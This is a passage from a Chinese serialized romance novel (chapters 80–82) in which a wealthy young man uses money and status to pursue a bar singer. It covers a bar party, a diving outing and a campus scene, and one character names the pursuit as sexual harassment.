萧疏直待他吃了三片后,才松开,那边,他继续如常地缠上自己的手腕,这边方闻钟的胳膊一大片指痕,早被掐红了。 方闻钟倔强地吃了四五片最里面太冰了也不好吃,他抬头看萧疏,萧疏已经转头看窗外,他趁他不注意,一把揪下花,将花骨朵扔进自己水杯。 红色的玫瑰掉落在纯净水里,他不知自己嘴巴上也沾着一块花瓣,分不清它和嘴巴哪里更红。 萧疏回头,方闻钟很快强势起来,萧疏的脸上还有点酒色,他很慵懒,又很沉默,方闻钟忍不住又想招惹。 和他坐这么近,看着他,不说话的话好像时间都浪费了。 “萧疏,我送你钢琴你去学怎么样?” “你以后可以多一点赚钱的手段了。” “我把你请到家里当我的钢琴老师,我家里人会给你开很丰厚的报酬,”他想一出是一出,连幻想都天马行空。 萧疏忽然站起来,靠近,方闻钟以为他要走了,也起身准备去刷卡。 萧疏的拇指忽然伸过来,在方闻钟艳红的嘴唇上忽然大力抹了一把。 他蹭掉了那片红玫瑰。 方闻钟人傻了,霎时从到红到脚,嘴巴麻酥酥的,他知道自己很热,很不对劲,可看萧疏自然而然的态度神色,他都不好再问什么。 紧步两步跑到他身边,狠狠拍了拍自己脸颊。 怎么感觉他和酒吧里的那个小骚零没什么差别,萧疏稍微一点动作,他就恨不得软倒跪下了。 结账时,方闻钟还说大话,“说好了的,我给你四万八,萧疏,加个联系方式呗,我给你转账。” 萧疏双手插兜,“不用,”他嘲讽道,抬着下巴:“你先看看你能不能付得起。” 方闻钟瞪眼,再一看酒店管理人员尴尬的神色,一问才知道,萧疏定了一辆车! 酒店展览的C位!价值近千万的跑车!他买下来了! 方闻钟感觉天塌下来了,回头一看萧疏激他的脸色,抱着手机赶紧跑到一旁。 上千万他的零花钱要被掏空了! 而且一次花完姐姐要问的,还不如干脆求助姐姐。 萧疏看着人背对着他站在角落打电话,他动作很自然语气撒娇,一看就知在家人面前被宠爱着长大,萧疏收回下巴,垂着头独自坐在沙发上。 “事情就是这样,”方闻钟撒了个小谎,说自己喜欢上一辆跑车,喝醉了直接买下来了,现在没钱了…… 他哭穷,姐姐发话,买车的钱她那边就报销了,但要将车弄回去她看看,是什么样的车迷得方闻钟五迷三道…… 方闻钟挂了电话,令他昏头昏脑一掷千金的,不是车,是人。 车不能给萧疏,方闻钟走到萧疏面前,有点下不来台,“走了,”他故意不提车。 幸好萧疏也只是冷笑了一声,就跟他走了。 出去时,自然而然要分别,方闻钟不好再缠着人,看萧疏走了之后,跑去自家姐姐公司去“骗”钱,他的追人大计怎么能半途夭折。 方闻钟的跑车开走,萧疏从转角出现,一会儿,他重新出现在刚才的酒店餐厅。 方闻钟的水杯还在桌上,杯子里飘着半颗红玫瑰。 他捡起来,吃掉。 两天没见面,方闻钟的钱包又鼓起来,萧疏白天去学校上课,只有晚上会各种兼职,而在方闻钟没来的这两晚,他都藉口学校有事来不了,乐队另几人抱团凑凑合合也演出了几场,场子氛围很热闹,但跟有萧疏在还是不能比。 萧疏一出现,酒吧的流水都能翻番。 他的头发被扎在后面露出一个小揪揪,得天独厚的骨相美便展现得淋漓尽致,今天黑色耳钉换成了一个银环。 清吧出名了,慕名而来的富婆姐姐不少,萧疏会给女性面子,男的想上手或出口调戏,都会得到不大不小的教训,女生抱着欣赏的态度听歌,他就没多少反应,任由她们尖叫,独坐高台。 但也有拎不清的,仗著有钱,一定要上手摸,或者让萧疏坐腿上,让他喂她喝酒。 击鼓传花的酒杯被传到萧疏手里,音乐停止! 众人等着萧疏下去坐那富婆腿上,将这杯酒给人喂下去,萧疏嘴角挑起一个无声的笑,他半坐在阴影里,抱着吉他,举了举酒杯,打架子鼓的队友胖子已经替他下去坐那女人腿上,“姐姐,”胖子恶心地叫。 富婆想发火,最终被经理带人控制住弄走了。 这里还轮不到她闹事,拿着几十万,就想来这里充老大,也太看不起萧疏的抢手了。 女人恼怒又尴尬地被人拉住推走,还不耐烦回头。 萧疏盯着她,恰好一束灯光打在他笑意盈盈的眼睛上,嘴巴贴近话筒,“滚。” 传遍全场。 方闻钟就是在这时候进来的,他看到了萧疏,萧疏恰好也收回视线扫过了他。 方闻钟精神了,本来不好意思一上来就接近萧疏,现在恨不得立马跑到他旁边,像猫咪蹭他的铲屎官,傲娇又欣喜。 方小少爷要包场,连带着他几个朋友,经理顿时笑眯眯答应了。 不用问萧疏的意见,方少爷出手,他的身份就叫经理不敢怠慢拒绝。 萧疏闲适地拨着吉他,音乐叮叮叮,他在试音,“我等的人,他在多远的未来……” 他始终低着头,方闻钟却火热地看过去。 第80章 十分钟法式热吻。 他只觉得,这首歌就是唱给他的。 他好爱听。 萧疏却已经放下吉他,经理哄他,陪方少爷玩一晚,不会亏待他。 队友们都知道那几个富家少爷在追萧疏,人不是多坏,但万一萧疏是直男,也挺惹人烦的,他们尚不知萧疏的态度,一时间,虽然想挣这个钱,也先看看主唱同不同意。 这帮少爷包场出手,手指缝里随便漏点,就够他们挣半月了。 那边已经开了好几瓶五六位数的酒,萧疏问:“他们要干什么?” 经理回:“是想自己点歌来着,让你去给他们唱,”其他队友顺带着,需要就上不需要就撤。 经理已经在心里打好了草稿,怎么说服萧疏,有钱不挣王八蛋,萧疏还能被人强迫了去?真顾一时意气,把人得罪狠了就不划算了…… 萧疏却已经点头同意。 点开自己的联系方式二维码,递给经理,“先付钱,转账一百万,我今晚陪他们唱到天亮!” 活落他已经去后面换衣服准备了,留经理和队友瞪大眼,狮子大开口啊! 他们都惊呆了! 经理带着萧疏的手机去方闻钟那边,谁知方闻钟没多犹豫,直接加上联系方式打钱,他朋友拦都没拦住,“喂!你长长脑子!” “一百万都他妈够买十个鸭子了。” “碰不让碰,睡不让睡,张口就要这么多!” “庸俗!”方闻钟打断他朋友,“我是为了,为了那档子事吗?”他结巴起来,“我单纯就是喜欢……”话越来越低,因为他看到萧疏穿着一件黑色工字背心,工装裤,已经提着吉他往他这边走,坐他旁边了。 “听什么?” 他清冷的嗓音一出,方闻钟和朋友剩下所有的话都吞回肚子里。 一个愿打一个愿挨,一时也不知方闻钟这买卖划不划算。 上次就见过面的一个朋友将一瓶酒推萧疏面前,“张口就是半套房首付啊,先把这瓶酒吹了,我先替方少验验货,值不值?” 方闻钟的朋友们不愤萧疏这趾高气昂清高的态度,一一眼睛精明地盯向他。 乐队队友也赶紧帮萧疏阻挡,“哥,哥,这歌手唱歌喝不了这么多酒。” “那就半瓶,一杯总可以吧?” 萧疏抬头,“一口都不喝,”他还嗤笑了一声。 所有的关注点都投放在方闻钟身上,萧疏这幅样子,他什么反应,是继续威胁拿捏人,还是……? “不要欺负他!”他狠狠把酒瓶往自己朋友那边推,“他又喝不了酒,你以为和你们一样啊?” 他坐在萧疏旁边,身边男人的存在感太明显,刚才还问他听什么?他还惦记着那句歌词,烦死了这么多人打扰他。 “你们都闭嘴!我要听歌。” 还给来凑场的乐队队友也一人转了个大红包,不让他们白来。 “我等的人,他在多远的未来。” “……” “我排着队,拿着爱的号码牌。” 别人你争我抢点歌,萧疏只唱经过方闻钟同意的,有时方闻钟点头,有时开口拍手,“这个好。” 他不知道萧疏一直在关注他,其他朋友倒是知晓,他们点的歌萧疏都不唱。 “喂!你什么意思啊!钱拿到手了还挑起来了?” 一朋友喝醉酒,站起身本来坐萧疏和方闻钟对面,这下想扑过来推萧疏肩膀。 萧疏长腿一伸,桌子直接硬邦邦将人挡住!桌上的酒晃了晃,没翻,“你给钱了?” “我他妈给你钱你就唱?” 萧疏长指压住吉他弦,“不好意思,今晚挣够了,不唱。” 醉酒朋友还要闹,他叫刘蔚,于方闻钟而言就是家境差他挺多但能偶尔玩到一起的普通朋友,被下了面子,他酒劲上头,方闻钟知道萧疏脾气大,今晚好不容易让他哄好了,自己好好听歌呢,刘蔚凭什么坏他好事。 给好哥们两个眼色,刘蔚顿时被按下去,捂住嘴。 方闻钟赶紧讨好,“萧疏,威风堂堂咱们不唱也罢,”萧疏喘起来他想不都敢想,还有,凭什么这么多人听到属于他的福利? 酒喝到一半,除萧疏和方闻钟,多多少少都沾了酒意,队友合唱方闻钟嫌难听,打发他们去陪朋友玩游戏。 队友们挺乐意,这挣钱方式还简单,也从这里知晓,虽然方闻钟挺有少爷派头,但不令人生厌恶心。 他们看着贴在萧疏身边,如同一个小媳妇的乖巧男生,用酒杯捂住嘴闷声笑。 纯唱歌没意思,有人提议,“我们玩真心话大冒险吧,输了答应赢家一个要求,”盯着萧疏,今天还不信灌不下去一口酒了! 转盘指针每次都被萧疏躲过,方闻钟也挺幸运,一直是别人喝,他听到了好多大尺度的真心话,眼睛瞪得老大,也见到男人之间大冒险亲嘴,端起杯子喝了几口,感觉有点热,左侧身子动都不敢动。 那是酒。 下一轮就转到了方闻钟。 “我选真心话!”他怂了。 “萧疏身上你最看上哪点?必须要说具体的!除了脸。”是乐队贝斯问的。 萧疏不动如山,吉他放在旁边,他正敞着腿,弯腰晃酒杯。 方闻钟向左边看去,除了脸,他从脖子将人看到胸口,再往下,背心下的腹肌若隐若现,再下面,看不到了,只有两条巨长的腿。 他傻乎乎的视线一直落在萧疏半腰间往下,连萧疏也停下动作回头看他。 方闻钟不搭话,“噗呲”不知是谁突然笑出来,“你别说你盯上了萧疏的鸟。” “哈哈哈哈哈哈哈哈哈!”顿时哄堂大笑,方闻钟朋友,乐队队友,都笑得前仰后合,纷纷拍大腿,萧疏嘴角一弯,很快控制住。 方闻钟脸像个柿子似的忍不住解释,“不是!” “你敢说你不是盯着他那里看?你想啥呢?” 萧疏用手里的杯子碰了碰方闻钟的半杯酒,“说说,想啥呢?” 方闻钟听不出萧疏的情绪是生气还是发怒的前兆,别人说可以,萧疏一说他就硬气起来的,萧疏是他花一百万来陪他的,凭什么生气! “我就看了!你大不大!”他贴近还欲上手摸,被萧疏快速合腿用手阻挡住。 方闻钟动作太快,就是嘴硬,萧疏这样反应,他也没强来,在别人的笑话中,一口将酒杯喝尽。 再一杯下去,方闻钟也差不多醉了。 后半场,他彻底放开了!抓住旁人胡闹!大声嚷嚷唱歌,他有点跑调,小少爷高兴极了,几次重重跌在沙发上,半边身体紧紧贴着萧疏。 萧疏输了,玩真心话大冒险。 方闻钟不给他选择的机会,抢了别人的问题问:“你和其他人搞过吗?” 全场屏气凝神,“没有,放心,你惦记的东西很大,也很干净,”他嗤笑道,其他人又是笑,方闻钟尴尬,他摸了摸头发,终于安静了一会儿,回到萧疏身边醉意汹涌。 方闻钟的朋友们不太了解萧疏,只以为他如此回答,是给方闻钟面子,不惹他不开心,真真假假就不知道了。 而萧疏的队友却很了解,萧疏要是真不喜欢一个男人,很厌恶他,哪怕一时被迫拿钱作陪,回答这种问题时也不会是这样的答案,他分明没多少排斥,脸色倒是一直很冷。 几双视线滑过萧疏,再看看快要枕在他身上的方少爷,不插嘴,也不多问。 大家都喝高了,方闻钟站着,忽然故意摔倒趴在萧疏肩膀上,灯光昏暗,他一口咬上萧疏耳朵。 萧疏躲了一下,刹那间,方闻钟叼着耳环拽了拽,萧疏的耳垂渗出一点血,被拉疼了。 他拧着眉推开方闻钟。 方闻钟大喊:“萧疏,我好喜欢你啊!” 因为其他噪音更大,所以方闻钟的胡闹只有萧疏一人在体验,“我想亲你,”方闻钟将他想强吻人的诉求说得理直气壮。 怎么就那么巧,他朋友给他助攻,临时玩了一把,“方闻钟!指针到你了!快选大冒险!选一个在场的人热吻十分钟!” 方闻钟黏黏糊糊坐不稳说:“我选萧疏。” 萧疏忽然坏笑了一下,他摘掉耳环,捏在手里。 凑近方闻钟耳朵以其他人都听不到的声音迅速说:“去台上大喊三遍:我是大傻逼,我爱萧疏,我是大傻逼,我爱萧疏……回来我就让你亲。” 方闻钟站起来,其他人不知道他要干嘛。 台上的灯光本来就是亮的,尤其有一顶圆顶灯照耀在那方寸之间。 方闻钟站在亮处,看着下面的黑暗,灯光打在他脸上连细小的绒毛都能看见,他闭了闭眼,话筒拿在手里。 “我是大傻逼,我爱萧疏。” “我是大傻逼,我爱萧疏!” “我是大傻逼,我爱萧疏!!!” 一声比一声响,惊得台下的人立马回神,诧异,我去,玩这么狠吗? 他最要好的朋友,却看向被告白的人,萧疏。 萧疏正举着自己的手机,漫不经心地在录像,好像在录方闻钟的罪证。 好朋友顿时心里一慌,难受,他怎么觉得不太妙,方闻钟要真这么喜欢他,日渐陷入,这人还这态度,岂不是以后要将方闻钟玩死? 他见不得方闻钟伤心。 “喂!”他没好气,一杯酒直接撒在萧疏脸上,胸膛上,“你耳朵聋了?” 方闻钟在上面起身看不见下面萧疏的举动,他三声大喊完,兴致勃勃地跑下来,就见萧疏抹去脸上的酒水。 剑拔弩张的气氛他感觉不到。 “萧疏。” 刚叫完人名,萧疏一把将他拉下躺倒在沙发里,躺在他身下。 他没有一分一秒犹豫,狠狠地亲上去,伸舌头。 方闻钟在下面发著抖时,他抬眼挑衅地看向泼他酒的人。【你现在阅读的是 】 80-90 第81章 方闻钟:“我要看你裸体!” “我们那晚真亲了?” 方闻钟没印象了,因为睡了一天一夜,再醒来嘴巴肿的消下去了,本来有点疼痛方闻钟又觉得是错觉,没大在意。 他从朋友那听到现场,朋友很生气。 方闻钟不知道他在气什么。 找到萧疏堵住他问。 萧疏将自己的手机打开,给他播放一段录像,“我是大傻逼,我爱萧疏!” 第二遍还没喊完,方闻钟就一把打落萧疏的手机,他本意是暂停不要放了,这下却将萧疏的手机磕坏了。 他一边红着脸,一边不好意思,“要,要不我赔你吧?” “不用了,”萧疏说:“你给的钱够多,换个手机的事儿。” 方闻钟不懂他是不是被嘲讽了,“你,你把它删掉!” “你不是问亲没亲?你想亲我,我说你做到这个我就答应,没想到……方少爷倒豁得出去。” 方闻钟终于明白了前因后果,对自己的放肆好像没那么意外,以后再也不多喝酒了,他头疼地捂住额头。 “你伸舌头了?” “嗯,还数了数你有多少颗牙。” 方闻钟头顶要冒火了,萧疏却背好包,准备离开,“嫌恶心就别再招惹我,”他人已转身。 方闻钟没再拉住他,也没解释,其实他脑子里就一个念头,亲嘴啥感觉啊? 还是和自己喜欢的人亲?十分钟!法式热吻! 他全忘了! 没机会再让他体验一把吗? 酒吧之事告一段落,萧疏不去了,方闻钟找不着人,但蹲点是对的,他发现萧疏又有了新工作,在一家高端俱乐部当白鲸饲养员。 这次他丢下朋友自己一个人去找他。 萧疏正潜在水下替白鲸清理粪便,方闻钟站在一片巨大的蓝色后观望他。 白鲸在他眼前滑过,他眼里盯着那一个小小的黑色人影,和别人看鲸不一样,他在看饲养员。 萧疏的脸只露出一点,他蓝色的头发飘起来,长腿戴着脚蹼游来游去,方闻钟觉得他比白鲸更好看。 外面的人朝萧疏做了个往上潜的手势,过一会儿,萧疏浮出水面,摘掉嘴里的东西,“怎么了,”脸庞全是水。 老板指了指显示屏外面的方闻钟,“方家小少爷,认识?” “点名要找你。” 萧疏看着方闻钟,知道他又拿身份压人了。 “不去,工作没做完。” 老板:“不用你了,你去带他潜水吧,他想玩儿。” 萧疏从水里出来,扭头冷声问:“他会?” “会不会的,不是正要你教他带他吗?”老板说。 “你知道这是会死人的,”萧疏语气发沉,潜水不是开玩笑,没经验很危险,谁料老板背过他去在前面边走边道:“小少爷嘛,随便他玩儿,出事了也不能怪我?” 他摊着手,“反正我是提前告诉过他危险了,他非要你带他我总不能拦着?把人推出去?” “我还没那本事,我说,”他回头,“萧疏,”这个新来的饲养员真养眼,能让方少爷千里迢迢追到这里,本钱不低,“你要是觉得不爽,随便糊弄下就完了,或者吓吓人……” 他眼里商人的算计变成了漠视,潜水吓人,方闻钟以后就不敢来了,说不定不敢再缠着萧疏。 萧疏一言不发,错过老板先出去。 手心里却捏紧,去他妈的,老子把你扔水里吓一吓。 方闻钟见到萧疏时,萧疏已经换回了自己的衣服,时间已经过去了半小时。 “你怎么出来了,我还等着他们带我进去找你,”方闻钟兴趣很高。 萧疏身长玉立,“会游泳吗?” “会!” “潜过水吗?” “没有。” 萧疏转身带他去别的地方,方闻钟拽住他胳膊,萧疏的小臂霎时收紧,“不在这里面?我看这白鲸也挺好玩的,好大哦。” 萧疏收回胳膊,让他的手落下去,“你要让别人观赏你狼狈的姿势?”这里外面很多人能看到。 “哦!”方闻钟这才反应过来,乖乖跟着萧疏走。 他忽然抬头看到,萧疏原来戴耳钉的地方,有一个小小的黑点,好像是一丁点小伤疤?该说不说,他很喜欢他戴饰品。 “萧疏,你怎么不戴耳钉了?我送你一个怎么样?”方闻钟话一出口,就想给自己也弄一个耳洞,他们一人戴一个。 萧疏说:“怕被狗咬。” “狗能跳起那么高?”方闻钟不知道自己就是狗。 萧疏教他穿好潜水服,教他怎么使用氧气,方闻钟其实还想问,既然之前萧疏能接受和他亲嘴,那说明他也不是直男嘛,萧疏是不是不反感他?喜欢他?或者喜欢他的钱? 没必要问了,小少爷这时想到,反正他有自己的手段,用强的肯定能得到人,没看到现在只要他向老板示威,萧疏就得乖乖陪他好脾气应着他吗。 那还纠结那么多干什么,只要他开心就够了! 方少爷,就是这么追人的,管他乐不乐意。 换好衣服,方闻钟和萧疏互相扶着对方的胳膊,试探下水,因为会游泳,方闻钟倒没那么怕,他一只手抓着萧疏,一只手往下指,意思是还要往下,他脸上的笑容让萧疏差点慌神。 又带着人往下潜了潜,他等着方闻钟不舒服了自己说,可过一会儿,方闻钟还是没示意,脸上却不笑了。 他拉着人强硬往上! 从水面出来方闻钟摘掉嘴里的氧气,还喘着气大喊:“干嘛上来啊!我还没玩好。” 萧疏声音平静,“耳鸣吗?胸闷吗?” 方闻钟适应了一会儿,忽然点头,是有点,不然他都没注意到自己讲话超大,他抚摸着自己胸口,得到萧疏一个白眼。 在水边坐了挺长时间,他和萧疏聊天。 “你怎么什么都会啊,真厉害,”感觉越来越喜欢他了,他盯着萧疏的颜,这张脸下,明明还有更吸引人的东西,方闻钟安静坐着,心跳都能飙升。 萧疏不回应,把被强迫,被方闻钟和老板以势以钱压人的姿态演了个极致。 噗通!他突然掉进水里,手伸出来求救。 萧疏吓了一跳,赶紧跳下去救他,方闻钟却眼神一喜,趁机整个身体攀上萧疏,和他四肢纠缠,他在水里缠着人,脸上坏笑,萧疏却想把人拉开扔出去。 方闻钟顿时不闭气了,故意张嘴呛水。 吓得萧疏又将人扯回来。 他们在水里拉扯,打闹,直到最后一丝气息用尽,两人齐齐攀在岸边,大口呼吸,一字都说不出来。 萧疏是先缓过来的,他对方闻钟不要命的玩法真有些生气。 方闻钟却觉得刺激极了,身体还没从和萧疏亲密接触的余韵中回过味来,大脑也昏昏胀胀,不妨碍他调戏人,“怎么样,感觉如何?” 潜水衣很合身,他们的轮廓曲线就差脱干净衣服肉贴肉了。 方闻钟抹了一把额头上的水,把头发全撩到后面去,萧疏从水里站起来,直接丢下他往外走。 “真生气了啊,”方闻钟嘟囔,在后面出水跟上,屁颠颠跑去哄。 他有分寸的,没大事嘛,却不知道他的疯又让萧疏不爽,又让他身体反应强烈。幸好他走得早,不然方闻钟早看到他的起立了。 萧疏洗完澡,方闻钟在另一间淋浴室,他也洗干净换回衣服。 方闻钟本来欲出去的脚步,忽然停在萧疏门前。 听这里面的动静,他知道,萧疏还没出来。 他往下摁门把手,门打开,内里萧疏只着一条内裤,背对着他。 萧疏以极快的速度穿上长裤,想拿短袖时,方闻钟一把抢过来,干看着他。 “方闻钟,你知不知道你这是性骚扰,”他叫起名字,方闻钟只注意到了他嗓音哑哑的,原来真的有腹肌。 手被按住,没摸到。 方闻钟不解,明明之前告诫自己不动手动脚的,为什么越和萧疏待在一起,他对萧疏的喜欢就越强烈。 他不止想看到他的脸,他想听他和自己说话,想摸摸他皮肤,想让萧疏逗逗他。 他们怎么能这么生疏呢? 小少爷不解地抬头看萧疏,好像他才是受委屈的那个。 “我给钱了?” “嗤,给钱就可以让你想做什么做什么?” “不然?”方闻钟嚣张,“一百万呢,何煜说买十个鸭子都够了。”何煜就是他最好的朋友之一,另一个叫杨钧泽。 方闻钟哭了,因为他的手快被萧疏捏断了,“拿我当鸭子,方闻钟,你信不信我刚才没在水里捞你起来,你就完蛋了。” 混账东西,他但凡动点心思,方闻钟就死翘翘了。 “你,你是应该贵点儿,”他们在沉默中对峙。 方闻钟真哭,于是萧疏不敢再大力惩罚他。 方闻钟的手明明可以挣开,却任由萧疏握着,“要不,我再给你点儿?” 死心不改。 “真想摸?” “嗯。” “你想得美。” “萧疏!你不同意!我就,我就找你们老板开除你,接下来你去哪儿我肯定还会找到你,我不信你能离得开我,”他挑着下巴,明明眼睛里水汽还未干,却放狠话。 “快全部脱掉,我要看你裸体。” 萧疏的身材肯定好看极了,方闻钟的关注点一点一点从他脸上移到别处去。 第82章 谁是猎物? 裸体当然没看成,方闻钟怎么威胁萧疏都不答应,甚至萧疏压着他把他手困在背后人压在衣柜上,凶恶地说:“有本事你就直接来,再哔哔我把你全扒了。” 最后反而是方闻钟的身体差点被萧疏看光。 方闻钟以为萧疏对他一点儿没这方面的兴趣,浴室的门大力在他眼前关上,“滚。” 传来萧疏的吼声,水流巨大,方闻钟垂头丧气地走了。 原来用强,也不能事事顺心。 “嗯,”萧疏在水下发出压抑的闷哼。 连着好几天,见不到萧疏,他甚至不来养白鲸了,让方闻钟有力没地方使,终于叫他抓到机会堵在酒吧,萧疏对他态度也很一般,听他在台上唱了两首歌,是给所有人一起唱的,方闻钟没跳出来招惹,等事后立马去找时,萧疏已经背着包逃走了。 小少爷生气了,杨钧泽笑话他,“一百万,买了个寂寞。” 何煜,“谁说的,我们方少不是被亲了十分钟,骂了三声自己大傻逼吗?” 他们两个人哈哈大笑,何煜看不惯萧疏整人的样子,杨钧泽倒是无所谓,反正方闻钟自个儿乐意,没看现在已经气呼呼眼睛却冒光已经想到了别的主意吗? “我要去他们学校。”果然,听到他这样说。 第二天,萧疏所在的大学门口围了好多人,只因方闻钟开了最拉风的一辆跑车,还跟着四五个保镖给他撑场面,在大学门口好一阵炫耀。 富二代,难得本人巨帅,这么好看,当然惹眼得紧。 方闻钟一点儿不怕人看,问就是‘你们知道萧疏在哪儿吗?’ ‘我?我是谁?’,他露出一个莫测惹人遐想的微笑。 不到两日,学校便传遍了,萧疏有一个富二代小男朋友,超级有钱,追人追到学校来了,但萧疏和他闹脾气了,故意不见他。 方闻钟没少被人恭维讨好,萧疏在本校也是无人不知,喜欢他的人巨多,他本人也不是冷漠寡言的性子,看起来,或者他玩儿的东西,都不像是一个本分的人,风流、高岭之花的特点太显著,但奇怪的是,竟没有一个人和他有过绯闻或谈过恋爱。 大家公平竞争,一致落败。 原来他喜欢男的啊?还要如此有钱! 小基佬们也萎了,比不过,比不过。 萧疏穿着一身球衣,短裤短袖,他拍着篮球,刚灌下去一瓶水,脸上还冒着热气,碎发有些湿漉漉,迎面被一个男生挡住,他是来给萧疏送护腕的。 追萧疏暗戳戳追了两年,在萧疏面前也算混了个眼熟,也从没大胆做过什么。 这不,听到萧疏校外小男朋友追来了,他不甘心,也不相信! 他了解他的行程!萧疏哪里谈过对象啊,不信邪地赶紧来萧疏这里冒个泡。 方闻钟没想到,他好不容易下定决心来他学校追人!竟看到萧疏拈花惹草!有人弯道超车,这可气坏了小少爷,他本想过去质问,不对,现在他已经放出去消息他和萧疏在谈了,要是现在出去萧疏不给面子拆穿他,岂不是很糗,他压着眼睛皱着鼻子,躲在后面看热闹。 萧疏看着递到眼前的护腕,他忽然把手上原本的腕带拆掉,然后拿过来戴上男生送的那只。 方闻钟眼睛瞪圆了。 男生面颊红通通的,不敢置信,心跳跳得好快,尤其萧疏弯着腰,轻轻凑近他耳畔说话。 “萧疏!”方闻钟一下跑过来,本想跳到萧疏身上,但萧疏后退躲了一下,方闻钟动作没收住,直直朝他砸过去。 萧疏的表情慌乱中扭曲,下意识扔掉球,将人一把接住! 连退了好几下两人才站稳。 “待会儿给你转五倍钱,我买下来,”来告白的男生心碎了,看到对面抱在一起的两个人。 胳膊被朋友拽住迅速拉走,“喂,回回神,你看到没,那富二代胳膊上的一只表就几百万,啧啧,这世上多我一个有钱人怎么了。” 已经回神了,想对萧疏告白的男生垂下头,他买的护腕才几百块,还被萧疏刚说出钱买回去,一点儿开心也没了。 方闻钟被人接住,自己也吓狠了,可很快开心,就要对萧疏说话。 萧疏却下一秒将他推远远的,生气不已,控制着怒火,彷佛刚才接住他,只是害怕被一起砸地上,连累自己也摔得更狠。 方闻钟还想找护腕主人问话,左右一转头,人竟然不见了,他上去拽住萧疏在前面走的手,“萧疏,我送你个别的呗,这个丑。” 萧疏甩开他,“你到底有完没完?”他冷笑道:“不会真把自己代入‘男朋友’了吧?” 方闻钟在后面歪头,没有啊,他们只是单纯的金钱关系,说再明白点儿,他喜欢萧疏萧疏不喜欢他,这不是在学校叫‘男朋友’显得他没那么变态没那么剃头挑子一头热吗? 他可是清清楚楚,他和萧疏,全靠他主(强)动(迫)。 方闻钟不敢在学校对萧疏做什么过分亲密的事,萧疏手腕上的那抹颜色太碍眼,他抬头看看挺拔的萧疏,连背影都透着股对他的不太待见,方闻钟心里浅浅不舒服了一下,突然跑过去,强硬地一把拽住人偷走他胳膊上的护腕就跑…… 方闻钟想把那东西扔垃圾桶里,又怕再被人捡到被萧疏看到怎么办,踹兜里想着出去就扔,然后就一直忘了,这只几百块钱的护腕,随着他穿一次就闲置的上万块的衣服,一起随意扔在家里衣帽间里。 萧疏注视着人跑走的样子,忽然勾唇,在手机上将答应人的买价转过去。 方闻钟去学校找萧疏的事,只耽搁了一天,他可是知道,学校里还有一个虎视眈眈盯着萧疏想告白的人呢,第二天,就又跑去见萧疏。 只不过这次他没弄那么大排场了,该传的八卦已经传开了,再只需要在萧疏熟悉的圈子认识的人面前宣誓他的主权!他就可以永远将萧疏打上他的标签! 方闻钟计画得很好,哼,别以为躲来学校就可以甩开他。 再出现在学校时,方闻钟染了一头标志性的蓝发,挑染的大胆的颜色,配上他乖巧却嚣张的脸庞,一下子赚足了眼球,他乖乖地将车停好,偷偷摸摸追来萧疏上课的教室。 这节是大课堂,上百人坐在阶梯教室,方闻钟捂着脑袋坐在最后面,一见到萧疏在他前面第三排落座,上课铃响,他旁边那个座位竟然还空着,方闻钟惊喜。 教授在前面放PPT ,他仗着人多,弯着腰招呼过好几个懵逼的同学,然后一屁股贴近坐在萧疏旁边。 “Suprise!” 萧疏看着那颗欣喜的蓝脑袋,耳边全是窃窃私语。 方闻钟闹起来的动静在周围引起不小波动,又引得前面的人朝后看,一见到方闻钟,传来传去纷纷明白,原来是萧疏对象来陪萧疏上课了!好大胆! 本来不信的人,听到旁人将他们那日在操场上拥抱的样子说得犹如亲眼所见,都点头应合。 我去,是有点养眼啊,看凑在一起的两个人,觉得还挺甜的。 方闻钟笑容丰富,萧疏却低垂着眸,高高地看他。 方闻钟才不会被他吓到呢,今天好多都是萧疏的同班同学,还有他们同一级的熟人,而讲台上的老教授,正是带了萧疏两年的老师,此前在国外上学,方闻钟以为他们的课堂环境也挺轻松愉快,所以没放弃暗戳戳搞事。 萧疏:“往那边点!”他压着声音。 “我不,”方闻钟仔细瞧着萧疏的脸,怎么都看不够,喜欢的情绪莫名其妙像不断水的泉眼,咕咕不经他大脑同意就往外冒,他忽然低头把蓝脑袋抵在萧疏胳膊上蹭了蹭,低声说话,“萧疏,好想你啊,才一天没见……” 教授终于往下面看,正好找人提问。 方闻钟顿时觉得他的机会来了! 他突然做作地故意抬起椅子,往地上一摔,再在众人都望过来的目光,一把抓住萧疏的手,一点点窜上来,然后大方地站起来,看向教授,“哎呀,我不小心摔倒了,幸好我男朋友抓住了我。” 教授正准备叫眼熟的人提问,还在观望呢,突然被这么一个出色的人打断。 他不由看上去,再听到他说什么,和下面的同学们一起齐齐安静了。 …… 萧疏的拳头攥得很紧,同学们刚开始被震惊得不开口,继而左顾右盼,又是说小话又是笑哄哄。 教授本来皱着眉,方闻钟在安静的落针可闻的教室里,突然那样讲话,谁都听得无比清楚,教授有些惊讶,展颜,还不待问什么,方闻钟已经主动招摇。 “我可以回答这个问题哦,我男朋友教我了。” “……” 不管他说得对不对,所有人都被‘男朋友’吸引了注意力!教授也是。 他坐下微笑着看向方闻钟,再看旁边低沉的萧疏,“萧疏,站起来。” 萧疏和方闻钟并肩而立,方闻钟心里美得甜滋滋,真好,连他们老师也知道他们谈恋爱了呢。 萧疏在下面抓住方闻钟的手腕,“抱歉,我不会再让人扰乱课堂纪律。” 下课铃声响,萧疏一直抓着方闻钟的手腕率先出门,留下后面交头接耳。 方闻钟终于有点反应过来,虽然他完成了计画,叫萧疏身边的人学校的同学老师都知道他和萧疏的关系,让萧疏不敢趁他不注意招惹别人,可他似乎错估了这件事的认真程度。 他把在老师面前的出柜和情话,当成玩笑,可对萧疏而言,影响似乎并不是这么简单。 被推在教室背后的树林角落里,方闻钟难得闭嘴,“是不是,不好讲你喜欢男生啊?”他摸着鼻子。 萧疏双手揣兜,踢了踢他脚下的土,嗤道:“我喜欢男生?” 方闻钟不答应了,抬头倔强地说:“你都跟我亲成那个样子了,你还说你不喜欢男的?!” 萧疏冷淡,“所以呢?我喜欢你吗?” 知道是一句嘲讽般的反问,方闻钟听在心里却颤了一下,他没有顶着萧疏的脾气硬刚,第一次软下来道歉求饶,“我错了,”他拉起他的手甩到。 在校外,他对他死缠烂打,在萧疏的学校,他是萧疏的‘小男朋友’人尽皆知。 方闻钟说着我错了,可打心底里压根没觉得自己喜欢他有何错?顶多,顶多很多事做得着急了些…… 他垂着头,睫毛闪闪,“对不起,你不要生气了。” 他好像知道自己这幅可怜的样子独独惹人怜爱,反正在家里做错事就是这样撒娇的,如今也用在萧疏身上,抬起眼用小鹿般的眼神望着他,“萧疏,我买了两只耳钉,送你一只。” 他从兜里拿出一个小盒子,里面是两颗小蓝宝石。 萧疏却低头捏住他的耳垂,他指尖用力,方闻钟疼得咧嘴,“你又没有耳洞。” 他怕疼,这不是还没做好心理准备去弄开吗。 